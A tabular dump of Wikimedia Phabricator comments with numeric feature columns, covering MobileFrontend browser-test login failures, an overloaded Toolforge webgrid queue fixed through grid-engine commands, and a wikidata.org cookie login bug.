",,,1440118845,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,0.75,1.5,0.0,0.5,1.75,1.25,0.5,0.0,0.0,0.25,1.5,1.5,0.0,0.0,0.0,3.5,0.0,7.0,5.5,1.5,0.5,0.0,0.0,0.0,2.25,0.25,0.0,0.0,1.0,0.25,0.0,4.75,1.25,1.5,0.0,0.5,0.25,0.0,0.25,0.5,0.25,0.5,0.25,0.25,0.0,0.0,0.0,0.0,0.0,12.5,0.25,1.0,0.0,1.25,0.0,0.0,0.25,0.25,0.5,0.0,0.75,1.75,0.0,0.5,0.25,0.0,0.25,2.25,2.0,7.0,1.25,2.5,4.0,0.0,0.5,0.0,0.0,3.25,0.25,4.75,0.25,6.25,5.5,5.75,0.5,0.5,0.0,6.25,0.0,1.25,0.75,0.25,1.5,0.0,0.25,9.75,3.721528973034997,0.6984724612736661,"For transparency I have no idea why this is happening. If anyone can shed light on this I would be most appreciative. I still suspect something in the jjb job butSCREEN_NAME seems pretty certain that's not possible.

4:53 PM <jdlrobson> in reference to ""marxarelli> one of a million moving browser test parts"" (in that they were all passing and now suddenly they are breaking and stopping merges and we don't know why)
4:54 PM <jdlrobson> i assume someone committed something somewhere and it had a knock on effect here...
4:54 PM <•marxarelli> possibly
4:54 PM <jdlrobson> we need qa for our qa heh
4:54 PM <•marxarelli> could have been in mw core, any of the MF dependencies, or in MF itself
4:55 PM <•marxarelli> but it wasn't mw-selenium or the jjb job, i can tell ya that
4:55 PM <•marxarelli> your version of mw-selenium is actually versioned and the dependency is clearly locked :)
4:57 PM <jdlrobson> so any theories on what's happened?
4:57 PM <jdlrobson> did we merge something which didn't run the test job properly and borked everything?
4:57 PM <•marxarelli> fwict, mediawiki doesn't have a dependency system
4:57 PM <jdlrobson> it doesn't
4:57 PM <jdlrobson> i just don't get it.. :-/
4:58 PM → SPF|Cloud joined (uid11755@wikipedia/Southparkfan)
4:58 PM <jdlrobson> ok i think i gotta fix for this login issue
4:59 PM <•marxarelli> i mean, you could try git bisect and running the scenario, just to rule out changes in MF
5:01 PM <jdlrobson> yeh it's just super weird
"
511911,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,"Change 232827 had a related patch set uploaded (by Jdlrobson):
Give login step time to complete and success

[[https://gerrit.wikimedia.org/r/232827]]
",,,1440099605,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.857142857142857,0.8928571428571429,"Change 232827 had a related patch set uploaded (by Jdlrobson):
Give login step time to complete and success

[[GERRIT_URL]]
"
511777,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,@Jdlrobson: Thanks for the hint. Guess which browser the integration environment uses/which browser I didn't run the tests with in T109593#1557091… Chrome.,,,1440089727,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,21.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,10.0,7.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.655172413793103,0.8275862068965517,SCREEN_NAME: Thanks for the hint. Guess which browser the integration environment uses/which browser I didn't run the tests with in T109593#1557091… Chrome.
511618,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,You may need to set MEDIAWIKI_ENVIRONMENT=integration,,,1440081046,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,You may need to set MEDIAWIKI_ENVIRONMENT=integration
511615,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,"All integration tests but the ""Search for partial text"" test pass for me locally.",,,1440080864,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.8823529411764706,"All integration tests but the ""Search for partial text"" test pass for me locally."
511613,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,I'm seeing these tests (`features/editor_wikitest_nosave.feature`) pass locally using PhantomJS and Firefox.,,,1440080496,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.066666666666666,1.0,I'm seeing these tests (CODE) pass locally using PhantomJS and Firefox.
109412,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"the trusty webgrid queue has been overloaded for > 12 hours now. Andrew and I can't figure out how to get the host configured correctly. Please fix asap.

my attempts: please see https://wikitech.wikimedia.org/wiki/Nova_Resource:Tools/SAL",Unbreak Now!,100.0,1439886190,1439909089.0,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_description,resolved,True,c3,3,True,True,True,6,True,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,10.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,10.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,10.0,5.0,3.0,0.0,5.0,8.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.871794871794872,0.9230769230769231,"the trusty webgrid queue has been overloaded for > 12 hours now. Andrew and I can't figure out how to get the host configured correctly. Please fix asap.

my attempts: please see URL"
510160,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"I think so, for now. I still need to document what I did in more detail (T109417) and write up a post-mortem, but I think it's crisis averted for now.",,,1439909089,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,13.0,13.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,3.1025641025641026,0.7948717948717948,"I think so, for now. I still need to document what I did in more detail (T109417) and write up a post-mortem, but I think it's crisis averted for now."
510158,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"Okay, now that I have done practically nothing, except changing the list in `qconf -mhgrp \@webgrid` back to `…-1411.tools.…` because I hadn't considered that the host was not in `host_aliases`, and @valhallasw did a lot, there are no pending jobs, and the host seems to run jobs, is this task done?",,,1439908726,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,4.0,2.0,2.0,2.0,2.0,4.0,0.0,9.0,14.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,11.0,7.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,14.0,5.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,3.732142857142857,0.7142857142857143,"Okay, now that I have done practically nothing, except changing the list in CODE back to CODE because I hadn't considered that the host was not in CODE, andSCREEN_NAME did a lot, there are no pending jobs, and the host seems to run jobs, is this task done?"
510144,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"Ugh, wrong column.  Yes there were and still are jobs running on that host.",,,1439906610,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.4444444444444446,0.9444444444444444,"Ugh, wrong column.  Yes there were and still are jobs running on that host."
510142,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"I'm sorry, I read your comment too late.  But `qstat -f` showed no running jobs anyway?",,,1439906575,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,5.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.35,0.95,"I'm sorry, I read your comment too late.  But CODE showed no running jobs anyway?"
510141,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"Ha!  The alias list struck:

```
scfc@tools-bastion-01:~$ qconf -de tools-webgrid-lighttpd-1411.eqiad.wmflabs
scfc@tools-bastion-01.eqiad.wmflabs removed ""tools-webgrid-lighttpd-1411.eqiad.wmflabs"" from execution host list
scfc@tools-bastion-01:~$
```

(Side note: I assume the disabled queues are disabled for the upcoming reboot?)",,,1439906518,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,16.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1875,0.78125,"Ha!  The alias list struck:

``CODE``

(Side note: I assume the disabled queues are disabled for the upcoming reboot?)"
510139,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"Ha!  The alias list stroke:

```
scfc@tools-bastion-01:~$ qconf -de tools-webgrid-lighttpd-1411.eqiad.wmflabs
scfc@tools-bastion-01.eqiad.wmflabs removed ""tools-webgrid-lighttpd-1411.eqiad.wmflabs"" from execution host list
scfc@tools-bastion-01:~$
```

(Side note: I assume the disabled queues are disabled for the upcoming reboot?)",,,1439906500,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,16.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1875,0.78125,"Ha!  The alias list stroke:

``CODE``

(Side note: I assume the disabled queues are disabled for the upcoming reboot?)"
510137,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"Note that there are jobs running on -1411 at the moment, so please be careful with the sge magic.

More DNS crazyness with

tools-exec-1401.tools.eqiad.wmflabs vs tools-exec-1401.eqiad.wmflabs 

and 

tools-exec-catscan.tools.eqiad.wmflabs vs tools-exec-catscan.eqiad.wmflabs. 

those two don't have jobs running so might be better targets to figure this out.",,,1439906334,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,2.0,5.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,11.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,5.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,2.0,16.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,5.763636363636364,0.7636363636363637,"Note that there are jobs running on -1411 at the moment, so please be careful with the sge magic.

More DNS crazyness with

tools-exec-1401.tools.eqiad.wmflabs vs tools-exec-1401.eqiad.wmflabs 

and 

tools-exec-catscan.tools.eqiad.wmflabs vs tools-exec-catscan.eqiad.wmflabs. 

those two don't have jobs running so might be better targets to figure this out."
510135,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"I did so far:

- `qconf -mhgrp \@webgrid` => `tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs` => `tools-webgrid-lighttpd-1411.eqiad.wmflabs` (consistency always good)

But:

```
scfc@tools-bastion-01:~$ qconf -de tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs
Host object ""tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs"" is still referenced in cluster queue ""webgrid-lighttpd"".
scfc@tools-bastion-01:~$
```

So I `qconf -mhgrp \@webgrid` because `qconf -sq webgrid-lighttpd` referenced `@webgrid`, removed `-1411` completely, tried again `qconf -de`, but still no luck, so I added `-1411` back with `qconf -mhgrp \@webgrid`.",,,1439906191,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.054054054054054,0.7027027027027027,"I did so far:

- CODE => CODE => CODE (consistency always good)

But:

``CODE`CODEqconf -mhgrp \@webgridCODEqconf -sq webgrid-lighttpdCODE@webgridCODE-1411CODEqconf -deCODE-1411CODEqconf -mhgrp \@webgrid`."
510005,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"```
                            queue instance ""webgrid-lighttpd@tools-webgrid-lighttpd-1403.eqiad.wmflabs"" dropped because it is temporarily not available
                            queue instance ""webgrid-lighttpd@tools-webgrid-lighttpd-1404.eqiad.wmflabs"" dropped because it is temporarily not available
                            queue instance ""webgrid-lighttpd@tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs"" dropped because it is temporarily not available
```
?

seems to be caused by gridengine-exec not running.  sudo service gridengine-exec start seems to fix it on these hosts.",,,1439887017,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,24.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.2941176470588234,0.7352941176470589,"``CODE``
?

seems to be caused by gridengine-exec not running.  sudo service gridengine-exec start seems to fix it on these hosts."
109038,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"People are reporting that they are unable to log into wikidata.org and being redirected even though they're not logged in. Clearing all cookies fixes the issue.

Reports:
* https://www.wikidata.org/wiki/Wikidata:Contact_the_development_team#Cannot_log_in
* {T108999} (probably incorrectly duped)
* https://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#InterWiki
* Lydia said some people also reported this via Twitter.
* @aude said she couldn't log in until she cleared her cookies on IRC

Possible cause could be {0275738d2d10544b474ea1aaa8a5080912323407}?",Unbreak Now!,100.0,1439535298,1440766680.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-mdihg2tyzmlvyhn3h32y,False,PHID-TASK-un2pilpqiazqdfsiinqa,task_description,resolved,True,c3,3,True,False,True,6,True,2.0,0.0,0.0,1.0,2.0,2.0,1.0,0.0,1.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,5.0,13.0,2.0,1.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,6.0,11.0,7.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,4.329411764705882,0.7411764705882353,"People are reporting that they are unable to log into wikidata.org and being redirected even though they're not logged in. Clearing all cookies fixes the issue.

Reports:
* URL
* {T108999} (probably incorrectly duped)
* URL
* Lydia said some people also reported this via Twitter.
*SCREEN_NAME said she couldn't log in until she cleared her cookies on IRC

Possible cause could be {0275738d2d10544b474ea1aaa8a5080912323407}?"
529327,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 238418 merged by BBlack:
Remove wikidata CA cookie hacks

[[https://gerrit.wikimedia.org/r/238418]]",,,1442495900,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.9444444444444446,0.8888888888888888,"Change 238418 merged by BBlack:
Remove wikidata CA cookie hacks

[[GERRIT_URL]]"
527518,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 238418 had a related patch set uploaded (by BBlack):
Remove wikidata CA cookie hacks

[[https://gerrit.wikimedia.org/r/238418]]
",,,1442319468,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.8,0.88,"Change 238418 had a related patch set uploaded (by BBlack):
Remove wikidata CA cookie hacks

[[GERRIT_URL]]
"
516808,[Bug] Users are unable to login on wikidata.org until they clear their cookies,@sjoerddebruin: This also fixed it for one of the people in the office who still had the issue. I think we can take down the note on the main page.,,,1440784763,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,15.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,9.0,15.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.484848484848485,0.8484848484848485,SCREEN_NAME: This also fixed it for one of the people in the office who still had the issue. I think we can take down the note on the main page.
516765,[Bug] Users are unable to login on wikidata.org until they clear their cookies,@JanZerebecki Fixed for me.,,,1440781565,,PHID-USER-fwlidikyeorzj35hufwu,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,4.4,1.0,SCREEN_NAME Fixed for me.
516708,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 234517 merged by BBlack:
refactor wikidata CA cookies workarounds a bit

